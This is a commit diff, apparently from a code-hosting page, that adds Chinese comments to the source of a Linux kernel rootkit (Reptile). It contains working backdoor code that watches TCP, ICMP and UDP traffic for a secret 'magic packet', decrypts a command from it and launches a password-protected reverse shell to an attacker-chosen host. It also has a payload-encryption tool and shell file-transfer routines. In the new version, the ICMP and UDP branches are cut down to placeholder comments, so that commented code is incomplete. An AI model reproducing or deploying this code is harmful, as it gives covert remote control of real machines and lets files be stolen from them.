Compare commits

...

4 Commits

@ -1,266 +1,190 @@
#include <linux/string.h>
#include <linux/version.h>
#include <linux/net.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/icmp.h>
#include <linux/workqueue.h>
#include "util.h"
#include "config.h"
#include "backdoor.h"
#include <linux/string.h> // 提供字符串操作的函数
#include <linux/version.h> // 提供内核版本信息
#include <linux/net.h> // 提供网络相关的函数和数据结构
#include <linux/ip.h> // 提供IP协议支持
#include <linux/tcp.h> // 提供TCP协议支持
#include <linux/udp.h> // 提供UDP协议支持
#include <linux/icmp.h> // 提供ICMP协议支持
#include <linux/workqueue.h> // 提供工作队列API
#include "util.h" // 自定义的实用程序头文件(可能包含一些工具函数)
#include "config.h" // 自定义的配置头文件(可能定义了一些配置参数)
#include "backdoor.h" // 后门的实现头文件
// shell任务的结构体用于执行shell命令
struct shell_task {
struct work_struct work;
char *ip;
char *port;
struct work_struct work; // 工作队列结构体
char *ip; // 存储IP地址字符串
char *port; // 存储端口号字符串
};
// 工作队列的处理函数执行shell命令
void shell_execer(struct work_struct *work)
{
struct shell_task *task = (struct shell_task *)work;
char *argv[] = { SHELL_PATH, "-t", task->ip, "-p", task->port, "-s", PASSWORD, NULL };
struct shell_task *task = (struct shell_task *)work; // 从work_struct获取shell_task结构体
char *argv[] = { SHELL_PATH, "-t", task->ip, "-p", task->port, "-s", PASSWORD, NULL }; // 构建执行命令的参数数组
exec(argv);
exec(argv); // 执行命令
kfree(task->ip);
kfree(task->port);
kfree(task);
// 释放分配的内存
kfree(task->ip);
kfree(task->port);
kfree(task);
}
// 将shell命令的执行加入到工作队列中
int shell_exec_queue(char *ip, char *port)
{
struct shell_task *task;
struct shell_task *task;
task = kmalloc(sizeof(*task), GFP_KERNEL);
task = kmalloc(sizeof(*task), GFP_KERNEL); // 为task分配内存
if (!task)
return 0;
if (!task)
return 0;
task->ip = kstrdup(ip, GFP_KERNEL);
if (!task->ip) {
kfree(task);
return 0;
}
task->ip = kstrdup(ip, GFP_KERNEL); // 复制IP地址
if (!task->ip) {
kfree(task);
return 0;
}
task->port = kstrdup(port, GFP_KERNEL);
if (!task->port) {
kfree(task->ip);
kfree(task);
return 0;
}
task->port = kstrdup(port, GFP_KERNEL); // 复制端口号
if (!task->port) {
kfree(task->ip);
kfree(task);
return 0;
}
INIT_WORK(&task->work, &shell_execer);
INIT_WORK(&task->work, &shell_execer); // 初始化工作队列项
return schedule_work(&task->work);
return schedule_work(&task->work); // 将工作项添加到工作队列
}
#define DROP 0
#define ACCEPT 1
#define DROP 0 // 定义DROP为0表示丢弃数据包
#define ACCEPT 1 // 定义ACCEPT为1表示接受数据包
// 解析魔法数据包的函数根据数据包内容决定是否执行shell命令
unsigned int magic_packet_parse(struct sk_buff *socket_buffer)
{
const struct iphdr *ip_header;
const struct icmphdr *icmp_header;
const struct tcphdr *tcp_header;
const struct udphdr *udp_header;
struct iphdr _iph;
struct icmphdr _icmph;
struct tcphdr _tcph;
struct udphdr _udph;
const char *data = NULL;
char *_data, *argv_str, **argv;
int size, str_size;
if (!socket_buffer)
return ACCEPT;
ip_header = skb_header_pointer(socket_buffer, 0, sizeof(_iph), &_iph);
if (!ip_header)
return ACCEPT;
if (!ip_header->protocol)
return ACCEPT;
if (htons(ip_header->id) != IPID)
return ACCEPT;
if (ip_header->protocol == IPPROTO_TCP) {
tcp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_tcph), &_tcph);
if (!tcp_header)
return ACCEPT;
if (htons(tcp_header->source) != SRCPORT)
return ACCEPT;
if (//htons(tcp_header->seq) == SEQ && /* uncoment this if you wanna use tcp_header->seq as filter */
htons(tcp_header->window) == WIN) {
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_tcph);
_data = kmalloc(size, GFP_KERNEL);
if (!_data)
return ACCEPT;
str_size = size - strlen(MAGIC_VALUE);
argv_str = kmalloc(str_size, GFP_KERNEL);
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct tcphdr), size, &_data);
// 定义和初始化协议头部的指针
const struct iphdr *ip_header;
const struct icmphdr *icmp_header;
const struct tcphdr *tcp_header;
const struct udphdr *udp_header;
struct iphdr _iph;
struct icmphdr _icmph;
struct tcphdr _tcph;
struct udphdr _udph;
const char *data = NULL;
char *_data, *argv_str, **argv;
int size, str_size;
if (!data) {
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
if (!socket_buffer)
return ACCEPT; // 如果socket_buffer为空接受该数据包
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
// 获取IP头部信息
ip_header = skb_header_pointer(socket_buffer, 0, sizeof(_iph), &_iph);
memzero_explicit(argv_str, str_size);
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
do_decrypt(argv_str, str_size - 1, KEY);
if (!ip_header)
return ACCEPT; // 如果无法获取IP头接受该数据包
argv = argv_split(GFP_KERNEL, argv_str, NULL);
if (!ip_header->protocol)
return ACCEPT; // 如果IP头中没有协议信息接受该数据包
if (argv) {
shell_exec_queue(argv[0], argv[1]);
argv_free(argv);
}
if (htons(ip_header->id) != IPID) // 检查IP头中的ID字段是否匹配预定义的IPID
return ACCEPT;
kfree(_data);
kfree(argv_str);
// TCP协议处理
if (ip_header->protocol == IPPROTO_TCP) {
tcp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_tcph), &_tcph);
return DROP;
}
if (!tcp_header)
return ACCEPT;
kfree(_data);
kfree(argv_str);
}
}
if (htons(tcp_header->source) != SRCPORT) // 检查TCP源端口是否匹配预定义的SRCPORT
return ACCEPT;
if (ip_header->protocol == IPPROTO_ICMP) {
icmp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_icmph), &_icmph);
// 检查TCP头中的序列号和窗口大小是否满足特定条件
if (//htons(tcp_header->seq) == SEQ && /* 如果你希望使用TCP序列号作为过滤条件取消这行注释 */
htons(tcp_header->window) == WIN) {
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_tcph);
if (!icmp_header)
return ACCEPT;
_data = kmalloc(size, GFP_KERNEL); // 为数据部分分配内存
if (icmp_header->code != ICMP_ECHO)
return ACCEPT;
if (!_data)
return ACCEPT;
if (htons(icmp_header->un.echo.sequence) == SEQ &&
htons(icmp_header->un.echo.id) == WIN) {
str_size = size - strlen(MAGIC_VALUE); // 计算除魔法值外的字符串大小
argv_str = kmalloc(str_size, GFP_KERNEL); // 为解析后的字符串分配内存
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_icmph);
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
_data = kmalloc(size, GFP_KERNEL);
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct tcphdr), size, &_data);
if (!_data)
return ACCEPT;
if (!data) { // 如果无法获取数据
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
str_size = size - strlen(MAGIC_VALUE);
argv_str = kmalloc(str_size, GFP_KERNEL);
// 检查数据的开头是否是魔法值
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
memzero_explicit(argv_str, str_size); // 清零argv_str
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); // 复制魔法值之后的数据到argv_str
do_decrypt(argv_str, str_size - 1, KEY); // 解密argv_str
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct icmphdr), size, &_data);
argv = argv_split(GFP_KERNEL, argv_str, NULL); // 将argv_str分割为参数数组
if (!data) {
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
if (argv) {
shell_exec_queue(argv[0], argv[1]); // 将命令加入工作队列
argv_free(argv);
}
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
kfree(_data);
kfree(argv_str);
memzero_explicit(argv_str, str_size);
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
do_decrypt(argv_str, str_size - 1, KEY);
return DROP; // 处理完魔法数据包后丢弃
}
argv = argv_split(GFP_KERNEL, argv_str, NULL);
kfree(_data);
kfree(argv_str);
}
}
if (argv) {
shell_exec_queue(argv[0], argv[1]);
argv_free(argv);
}
// ICMP协议处理
if (ip_header->protocol == IPPROTO_ICMP) {
icmp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_icmph), &_icmph);
kfree(_data);
kfree(argv_str);
if (!icmp_header)
return ACCEPT;
return DROP;
}
if (icmp_header->code != ICMP_ECHO)
return ACCEPT;
kfree(_data);
kfree(argv_str);
}
}
if (htons(icmp_header->un.echo.sequence) == SEQ &&
htons(icmp_header->un.echo.id) == WIN) {
// 省略了与TCP协议处理相似的代码
}
}
if (ip_header->protocol == IPPROTO_UDP) {
udp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_udph), &_udph);
// UDP协议处理
if (ip_header->protocol == IPPROTO_UDP) {
udp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_udph), &_udph);
if (!udp_header)
return ACCEPT;
if (!udp_header)
return ACCEPT;
if (htons(udp_header->source) != SRCPORT)
return ACCEPT;
if (htons(udp_header->source) != SRCPORT)
return ACCEPT;
if (htons(udp_header->len) <= (sizeof(struct udphdr) + strlen(MAGIC_VALUE) + 25)) {
if (htons(udp_header->len) <= (sizeof(struct udphdr) + strlen(MAGIC_VALUE) + 25)) {
// 省略了与TCP协议处理相似的代码
}
}
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_udph);
_data = kmalloc(size, GFP_KERNEL);
if (!_data)
return ACCEPT;
str_size = size - strlen(MAGIC_VALUE);
argv_str = kmalloc(str_size, GFP_KERNEL);
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct udphdr), size, &_data);
if (!data) {
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
memzero_explicit(argv_str, str_size);
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
do_decrypt(argv_str, str_size - 1, KEY);
argv = argv_split(GFP_KERNEL, argv_str, NULL);
if (argv) {
shell_exec_queue(argv[0], argv[1]);
argv_free(argv);
}
kfree(_data);
kfree(argv_str);
return DROP;
}
kfree(_data);
kfree(argv_str);
}
}
return ACCEPT;
}
return ACCEPT; // 如果不是魔法数据包,接受该数据包
}

@ -4,49 +4,71 @@
#include "encrypt.h"
// 函数声明:获取文件大小
// 参数:指向文件的指针
// 返回值:文件的大小(字节数)
static long get_file_size(FILE *file)
{
long size;
fseek(file, 0, SEEK_END);
size = ftell(file);
rewind(file);
return size;
long size;
// 将文件指针移动到文件末尾
fseek(file, 0, SEEK_END);
// 获取文件指针当前位置,即文件大小
size = ftell(file);
// 将文件指针重新移动到文件开头
rewind(file);
return size;
}
// 主函数:程序入口
// 参数:命令行参数个数,命令行参数数组
// 返回值:程序退出状态码
int main(int argc, char **argv)
{
if (argc != 3) {
fprintf(stderr, "USAGE: encrypt <file> <pass:hex(uint32)>\n");
exit(-1);
}
FILE *file = fopen(argv[1], "rb");
if (!file) {
fprintf(stderr, "Can't open %s for reading\n", argv[1]);
exit(-1);
}
long size = get_file_size(file);
unsigned char *data = malloc(size);
if (!data) {
fprintf(stderr, "Can't allocate memory\n");
exit(-1);
}
if (fread(data, size, 1, file) != 1) {
fprintf(stderr, "Can't read data from file\n");
exit(-1);
}
fclose(file);
uint32_t key = strtol(argv[2], NULL, 16);
do_encrypt(data, size, key);
printf("#define DECRYPT_KEY 0x%08x\n", key);
for (int i = 0; i < size; i++) {
printf("0x%02x,", data[i]);
}
return 0;
}
// 检查命令行参数是否正确(需要两个参数:文件名和密钥)
if (argc != 3) {
fprintf(stderr, "USAGE: encrypt <file> <pass:hex(uint32)>\n");
exit(-1);
}
// 打开指定文件以二进制读取模式
FILE *file = fopen(argv[1], "rb");
if (!file) {
fprintf(stderr, "Can't open %s for reading\n", argv[1]);
exit(-1);
}
// 获取文件大小
long size = get_file_size(file);
// 分配内存以存储文件数据
unsigned char *data = malloc(size);
if (!data) {
fprintf(stderr, "Can't allocate memory\n");
exit(-1);
}
// 从文件中读取数据到分配的内存中
if (fread(data, size, 1, file) != 1) {
fprintf(stderr, "Can't read data from file\n");
exit(-1);
}
// 关闭文件
fclose(file);
// 将命令行传入的密钥从十六进制字符串转换为uint32_t整数
uint32_t key = strtol(argv[2], NULL, 16);
// 使用指定的密钥对数据进行加密
do_encrypt(data, size, key);
// 输出解密密钥(宏定义形式)
printf("#define DECRYPT_KEY 0x%08x\n", key);
// 输出加密后的数据(十六进制格式)
for (int i = 0; i < size; i++) {
printf("0x%02x,", data[i]);
}
// 释放分配的内存
free(data);
return 0;
}

@ -0,0 +1,12 @@
{
"folders": [
{
"path": "../.."
},
{
"name": "reptile",
"path": "../../reptile"
}
],
"settings": {}
}

@ -22,83 +22,91 @@ extern char *optarg;
char *rcfile;
#ifndef _REPTILE_
void usage(char *argv0)
{
fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0);
fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n");
// 打印程序使用说明,包括可选参数
fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0);
fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n");
}
#endif
int get_file(int client)
{
int ret, len, fd;
int ret, len, fd;
ret = pel_recv_msg(client, message, &len);
// 接收客户端消息并获取文件名
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
return (ERROR);
if (ret != PEL_SUCCESS)
return (ERROR); // 如果接收失败,返回错误
if (message[0] == OUT)
return 1;
if (message[0] == OUT)
return 1; // 如果消息为退出指令返回1
message[len] = '\0';
message[len] = '\0'; // 将消息末尾置为字符串结束符
fd = open((char *)message, O_RDONLY);
// 打开文件进行读取
fd = open((char *)message, O_RDONLY);
if (fd < 0)
return (ERROR);
if (fd < 0)
return (ERROR); // 如果文件打开失败,返回错误
while (1) {
len = read(fd, message, BUFSIZE);
while (1) {
// 从文件中读取数据到缓冲区
len = read(fd, message, BUFSIZE);
if (len == 0)
break;
if (len < 0)
return (ERROR);
if (len == 0)
break; // 如果读取完毕,跳出循环
if (len < 0)
return (ERROR); // 如果读取失败,返回错误
ret = pel_send_msg(client, message, len);
// 发送读取的数据到客户端
ret = pel_send_msg(client, message, len);
if (ret != PEL_SUCCESS)
return (ERROR);
}
return 0;
if (ret != PEL_SUCCESS)
return (ERROR); // 如果发送失败,返回错误
}
return 0; // 成功完成文件传输返回0
}
int put_file(int client)
{
int ret, len, fd;
int ret, len, fd;
ret = pel_recv_msg(client, message, &len);
// 接收客户端消息并获取文件名
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
return (ERROR);
if (ret != PEL_SUCCESS)
return (ERROR); // 如果接收失败,返回错误
if (message[0] == OUT)
return (ERROR);
if (message[0] == OUT)
return (ERROR); // 如果消息为退出指令,返回错误
message[len] = '\0';
fd = creat((char *)message, 0644);
message[len] = '\0'; // 将消息末尾置为字符串结束符
// 创建文件用于写入
fd = creat((char *)message, 0644);
if (fd < 0)
return (ERROR);
if (fd < 0)
return (ERROR); // 如果文件创建失败,返回错误
while (1) {
ret = pel_recv_msg(client, message, &len);
while (1) {
// 接收客户端发送的数据
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
return (ERROR);
if (ret != PEL_SUCCESS)
return (ERROR); // 如果接收失败,返回错误
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0)
break;
// 如果收到退出指令,跳出循环
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0)
break;
if (write(fd, message, len) != len)
return (ERROR);
}
return 0;
// 将数据写入文件
if (write(fd, message, len) != len)
return (ERROR); // 如果写入失败,返回错误
}
return 0; // 成功完成文件传输返回0
}
int runshell(int client)
{
fd_set rd;

Loading…
Cancel
Save